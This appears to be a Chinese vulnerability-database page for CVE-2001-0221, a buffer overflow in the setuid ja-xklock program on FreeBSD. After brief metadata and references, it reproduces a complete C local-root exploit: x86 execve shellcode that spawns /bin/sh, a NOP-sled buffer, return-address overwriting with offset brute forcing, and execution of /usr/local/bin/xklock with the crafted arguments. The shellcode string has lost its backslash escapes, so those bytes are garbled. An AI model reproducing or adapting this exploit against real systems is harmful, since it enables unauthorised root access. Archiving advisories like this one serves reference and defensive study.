ja-xklock缓冲区溢出漏洞

ja-xklock缓冲区溢出漏洞

漏洞ID 1106242 漏洞类型 缓冲区溢出
发布时间 2001-03-03 更新时间 2005-09-14
图片[1]-ja-xklock缓冲区溢出漏洞-安全小百科CVE编号 CVE-2001-0221
图片[2]-ja-xklock缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200106-039
漏洞平台 BSD CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/286
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200106-039
|漏洞详情
ja-xklock2.7.1及其早期版本存在缓冲区溢出漏洞。本地用户利用该漏洞提升根特权。
|漏洞EXP
/*
 * xklock - FreeBSD 3.5.1 & 4.2 ports package local root exploit
 * 
 * The X key lock program contain several exploitable buffer overflows
 * in command line arguments aswell as the 'JNAME' environment variable.
 * xklock is installed setuid root by default.
 * This POC exploit (ab)uses the -bg arg, brute force offset if required.
 *
 * Usage: ./exklock <offset>
 *
 * [email protected] // www.synnergy.net
 * 20 Feb 2001.
 *
 */ 

#include <stdio.h>
#include <stdlib.h>

#define EGGSIZE 1024
#define RETSIZE 264
#define NOP 0x90
#define OFFSET 0

char shellcode[]= // execve() freebsd x86
	"xebx37x5ex31xc0x88x46xfax89x46xf5x89x36x89x76"
	"x04x89x76x08x83x06x10x83x46x04x18x83x46x08x1b"
	"x89x46x0cx88x46x17x88x46x1ax88x46x1dx50x56xff"
	"x36xb0x3bx50x90x9ax01x01x01x01x07x07xe8xc4xff"
	"xffxffx02x02x02x02x02x02x02x02x02x02x02x02x02"
	"x02x02x02/bin/sh.-c.sh";


u_long get_sp(void) { __asm__("movl %esp,%eax"); }

int main(int argc, char *argv[]) {
 char egg[EGGSIZE], ret[RETSIZE];
 int i, eggsize = EGGSIZE, retsize = RETSIZE, nop = NOP, offset=OFFSET;
 long *address;
  
 if(argc > 1){ offset = atoi(argv[1]); }
 (char *)address = get_sp - offset;
 fprintf(stderr, "Using addr: 0x%xn", address);

 memset(egg, nop, eggsize);
 memcpy(egg+(eggsize - strlen(shellcode) - 1), shellcode, strlen(shellcode));
 for(i=0; i < retsize; i+=4) *(int *)&ret[i]=address;

 if(execle("/usr/local/bin/xklock", egg, "-bg", ret, NULL, NULL)) {
  fprintf(stderr,"Unable to execute /usr/local/bin/xklockn");
  exit(1);
 }
}


// milw0rm.com [2001-03-03]
|参考资料

来源:FREEBSD
名称:FreeBSD-SA-01:19
链接:http://archives.neohapsis.com/archives/freebsd/2001-02/0079.html
来源:XF
名称:ja-xklock-bo(6073)
链接:http://xforce.iss.net/xforce/xfdb/6073

相关推荐: InteractivePHP FusionBB 多个SQL注入漏洞

InteractivePHP FusionBB 多个SQL注入漏洞 漏洞ID 1198889 漏洞类型 SQL注入 发布时间 2005-06-13 更新时间 2005-06-13 CVE编号 CVE-2005-1972 CNNVD-ID CNNVD-20050…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享